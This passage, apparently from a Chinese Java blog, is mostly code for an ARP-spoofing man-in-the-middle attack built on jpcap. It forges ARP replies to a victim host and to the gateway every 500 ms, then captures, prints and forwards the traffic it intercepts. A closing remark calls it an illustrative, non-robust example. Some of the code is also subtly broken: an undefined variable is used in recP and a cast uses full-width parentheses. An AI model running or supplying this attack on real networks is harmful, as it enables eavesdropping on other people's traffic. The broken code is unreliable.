<img id="Codehighlighter1_1249_3884_Open_Image" onclick="this.style.display='none'; Codehighlighter1_1249_3884_Open_Text.style.display='none'; Codehighlighter1_1249_3884_Closed_Image.style.display='inline'; Codehighlighter1_1249_3884_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_1249_3884_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_1249_3884_Closed_Text.style.display='none'; Codehighlighter1_1249_3884_Open_Image.style.display='inline'; Codehighlighter1_1249_3884_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　</span><span style="color: #0000ff">throws</span><span style="color: #000000">&nbsp;UnknownHostException,InterruptedException&nbsp;</span><span id="Codehighlighter1_1249_3884_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_1249_3884_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　</span><span style="color: #0000ff">this</span><span style="color: #000000">.&nbsp;targetMAC&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;targetMAC;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　</span><span style="color: #0000ff">this</span><span style="color: #000000">.&nbsp;targetIp&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;targetIp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　</span><span style="color: #0000ff">this</span><span style="color: #000000">.&nbsp;gateMAC&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;gateMAC;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　</span><span style="color: #0000ff">this</span><span style="color: #000000">.&nbsp;gateIp&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;gateIp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　getDevice();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpTarget&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;ARPPacket();&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">修改B的ARP表的ARP包</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.hardtype&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ARPPacket.HARDTYPE_ETHER;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">选择以太网类型(Ethernet)</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.prototype&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ARPPacket.PROTOTYPE_IP;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">选择IP网络协议类型</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.operation&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ARPPacket.ARP_REPLY;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">选择REPLY类型</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.hlen&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">6</span><span style="color: #000000">;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">MAC地址长度固定6个字节</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.plen&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">4</span><span style="color: #000000">;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">IP地址长度固定4个字节</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.sender_hardaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;device.mac_address;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">A的MAC地址</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.sender_protoaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;InetAddress.getByName(gateIp).getAddress();&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">网关IP</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpTarget.target_hardaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;targetMAC;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">B的MAC地址</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.target_protoaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;InetAddress.getByName(targetIp).getAddress();&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">B的IP</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　EthernetPacket&nbsp;ethToTarget&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;EthernetPacket();&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">创建一个以太网头</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　ethToTarget.frametype&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;EthernetPacket.ETHERTYPE_ARP;</span><span style="color: #008000">//</span><span style="color: #008000">选择以太包类型</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　ethToTarget.src_mac&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;device.mac_address;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">A的MAC地址</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　ethToTarget.dst_mac&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;targetMAC;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">B的MAC地址</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpTarget.datalink&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ethToTarget;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">将以太头添加到ARP包前</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpGate&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;ARPPacket();&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">修改网关ARP表的包</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpGate.hardtype&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ARPPacket.HARDTYPE_ETHER;&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">跟以上相似，不再重复注析</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　arpGate.prototype&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ARPPacket.PROTOTYPE_IP;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.operation&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ARPPacket.ARP_REPLY;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.hlen&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">6</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.plen&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">4</span><span style="color: #000000">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.sender_hardaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;device.mac_address;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.sender_protoaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;InetAddress.getByName(targetIp).getAddress();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.target_hardaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;gateMAC;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.target_protoaddr&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;InetAddress.getByName(gateIp).getAddress();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　EthernetPacket&nbsp;ethToGate&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;EthernetPacket();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　ethToGate.frametype&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;EthernetPacket.ETHERTYPE_ARP;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　ethToGate.src_mac&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;device.mac_address;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　ethToGate.dst_mac&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;gateMAC;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　arpGate.datalink&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;ethToGate;<br />
<img id="Codehighlighter1_2955_3884_Open_Image" onclick="this.style.display='none'; Codehighlighter1_2955_3884_Open_Text.style.display='none'; Codehighlighter1_2955_3884_Closed_Image.style.display='inline'; Codehighlighter1_2955_3884_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_2955_3884_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_2955_3884_Closed_Text.style.display='none'; Codehighlighter1_2955_3884_Open_Image.style.display='inline'; Codehighlighter1_2955_3884_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　thread</span><span style="color: #000000">=</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;Thread(</span><span style="color: #0000ff">new</span><span style="color: #000000">&nbsp;Runnable()</span><span id="Codehighlighter1_2955_3884_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_2955_3884_Open_Text"><span style="color: #000000">{&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">创建一个进程控制发包速度</span><span style="color: #008000"><br />
<img id="Codehighlighter1_2992_3140_Open_Image" onclick="this.style.display='none'; Codehighlighter1_2992_3140_Open_Text.style.display='none'; Codehighlighter1_2992_3140_Closed_Image.style.display='inline'; Codehighlighter1_2992_3140_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_2992_3140_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_2992_3140_Closed_Text.style.display='none'; Codehighlighter1_2992_3140_Open_Image.style.display='inline'; Codehighlighter1_2992_3140_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;run()&nbsp;</span><span id="Codehighlighter1_2992_3140_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_2992_3140_Open_Text"><span style="color: #000000">{<br />
<img id="Codehighlighter1_3010_3104_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3010_3104_Open_Text.style.display='none'; Codehighlighter1_3010_3104_Closed_Image.style.display='inline'; Codehighlighter1_3010_3104_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3010_3104_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3010_3104_Closed_Text.style.display='none'; Codehighlighter1_3010_3104_Open_Image.style.display='inline'; Codehighlighter1_3010_3104_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　　</span><span style="color: #0000ff">while</span><span style="color: #000000">&nbsp;(</span><span style="color: #0000ff">true</span><span style="color: #000000">)&nbsp;</span><span id="Codehighlighter1_3010_3104_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_3010_3104_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　sender.sendPacket(arpTarget);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　sender.sendPacket(arpGate);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　Thread.sleep(</span><span style="color: #000000">500</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　　　}</span></span><span style="color: #000000">).start();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　recP();&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">接收数据包并转发</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" /></span><span style="color: #000000">　　}</span></span><span style="color: #000000"><br />
<img id="Codehighlighter1_3144_3213_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3144_3213_Open_Text.style.display='none'; Codehighlighter1_3144_3213_Closed_Image.style.display='inline'; Codehighlighter1_3144_3213_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3144_3213_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3144_3213_Closed_Text.style.display='none'; Codehighlighter1_3144_3213_Open_Image.style.display='inline'; Codehighlighter1_3144_3213_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　</span><span id="Codehighlighter1_3144_3213_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff">/**&nbsp;*/</span><span id="Codehighlighter1_3144_3213_Open_Text"><span style="color: #008000">/**</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　*修改包的以太头，转发数据包<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　*参数&nbsp;packet&nbsp;收到的数据包<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　*参数&nbsp;changeMAC&nbsp;要转发出去的目标<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　　</span><span style="color: #008000">*/</span></span><span style="color: #000000"><br />
<img id="Codehighlighter1_3268_3574_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3268_3574_Open_Text.style.display='none'; Codehighlighter1_3268_3574_Closed_Image.style.display='inline'; Codehighlighter1_3268_3574_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3268_3574_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3268_3574_Closed_Text.style.display='none'; Codehighlighter1_3268_3574_Open_Image.style.display='inline'; Codehighlighter1_3268_3574_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　</span><span style="color: #0000ff">private</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;send(Packet&nbsp;packet,&nbsp;</span><span style="color: #0000ff">byte</span><span style="color: #000000">[]&nbsp;changeMAC)&nbsp;</span><span id="Codehighlighter1_3268_3574_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_3268_3574_Open_Text"><span style="color: #000000">{&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　EthernetPacket&nbsp;eth;<br />
<img id="Codehighlighter1_3344_3570_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3344_3570_Open_Text.style.display='none'; Codehighlighter1_3344_3570_Closed_Image.style.display='inline'; Codehighlighter1_3344_3570_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3344_3570_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3344_3570_Closed_Text.style.display='none'; Codehighlighter1_3344_3570_Open_Image.style.display='inline'; Codehighlighter1_3344_3570_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　　</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(packet.datalink&nbsp;</span><span style="color: #0000ff">instanceof</span><span style="color: #000000">&nbsp;EthernetPacket)&nbsp;</span><span id="Codehighlighter1_3344_3570_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_3344_3570_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　eth&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;(EthernetPacket)&nbsp;packet.datalink;<br />
<img id="Codehighlighter1_3422_3534_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3422_3534_Open_Text.style.display='none'; Codehighlighter1_3422_3534_Closed_Image.style.display='inline'; Codehighlighter1_3422_3534_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3422_3534_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3422_3534_Closed_Text.style.display='none'; Codehighlighter1_3422_3534_Open_Image.style.display='inline'; Codehighlighter1_3422_3534_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　　　</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;(</span><span style="color: #0000ff">int</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">0</span><span style="color: #000000">;&nbsp;i&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">6</span><span style="color: #000000">;&nbsp;i</span><span style="color: #000000">++</span><span style="color: #000000">)&nbsp;</span><span id="Codehighlighter1_3422_3534_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_3422_3534_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　　eth.dst_mac[i]&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;changeMAC[i];&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">修改包以太头，改变包的目标</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span><span style="color: #000000">　　　　　eth.src_mac[i]&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;device.mac_address[i];&nbsp;</span><span style="color: #008000">//</span><span style="color: #008000">源发送者为A</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" /></span><span style="color: #000000">　　　　}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　sender.sendPacket(packet);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　　　}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　　}</span></span><span style="color: #000000"><br />
<img id="Codehighlighter1_3578_3601_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3578_3601_Open_Text.style.display='none'; Codehighlighter1_3578_3601_Closed_Image.style.display='inline'; Codehighlighter1_3578_3601_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3578_3601_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3578_3601_Closed_Text.style.display='none'; Codehighlighter1_3578_3601_Open_Image.style.display='inline'; Codehighlighter1_3578_3601_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　</span><span id="Codehighlighter1_3578_3601_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff">/**&nbsp;*/</span><span id="Codehighlighter1_3578_3601_Open_Text"><span style="color: #008000">/**</span><span style="color: #008000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　*打印接受到的数据包并转发<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　　</span><span style="color: #008000">*/</span></span><span style="color: #000000"><br />
<img id="Codehighlighter1_3623_3881_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3623_3881_Open_Text.style.display='none'; Codehighlighter1_3623_3881_Closed_Image.style.display='inline'; Codehighlighter1_3623_3881_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3623_3881_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3623_3881_Closed_Text.style.display='none'; Codehighlighter1_3623_3881_Open_Image.style.display='inline'; Codehighlighter1_3623_3881_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　</span><span style="color: #0000ff">public</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">void</span><span style="color: #000000">&nbsp;recP()</span><span id="Codehighlighter1_3623_3881_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_3623_3881_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　IPPacket&nbsp;ipPacket&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">null</span><span style="color: #000000">;<br />
<img id="Codehighlighter1_3668_3877_Open_Image" onclick="this.style.display='none'; Codehighlighter1_3668_3877_Open_Text.style.display='none'; Codehighlighter1_3668_3877_Closed_Image.style.display='inline'; Codehighlighter1_3668_3877_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockStart.gif" align="top"  alt="" /><img id="Codehighlighter1_3668_3877_Closed_Image" style="display: none" onclick="this.style.display='none'; Codehighlighter1_3668_3877_Closed_Text.style.display='none'; Codehighlighter1_3668_3877_Open_Image.style.display='inline'; Codehighlighter1_3668_3877_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedSubBlock.gif" align="top"  alt="" />　　　</span><span style="color: #0000ff">while</span><span style="color: #000000">(</span><span style="color: #0000ff">true</span><span style="color: #000000">)</span><span id="Codehighlighter1_3668_3877_Closed_Text" style="border-right: #808080 1px solid; border-top: #808080 1px solid; display: none; border-left: #808080 1px solid; border-bottom: #808080 1px solid; background-color: #ffffff"><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /></span><span id="Codehighlighter1_3668_3877_Open_Text"><span style="color: #000000">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　ipPacket&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;（IPPacket）jpcap.getPacket();<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　System.out.println(ipPacket);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　</span><span style="color: #0000ff">if</span><span style="color: #000000">&nbsp;(ipPacket.src_ip.getHostAddress().equals(targetIp))<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　　send(packet,&nbsp;gateMAC);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　</span><span style="color: #0000ff">else</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" />　　　　　send(packet,&nbsp;targetMAC);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　　　}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedSubBlockEnd.gif" align="top"  alt="" />　　}</span></span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" align="top"  alt="" /></span></div>
<p></span></span></span></p>
<p>　　注重：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。<br />
</p>
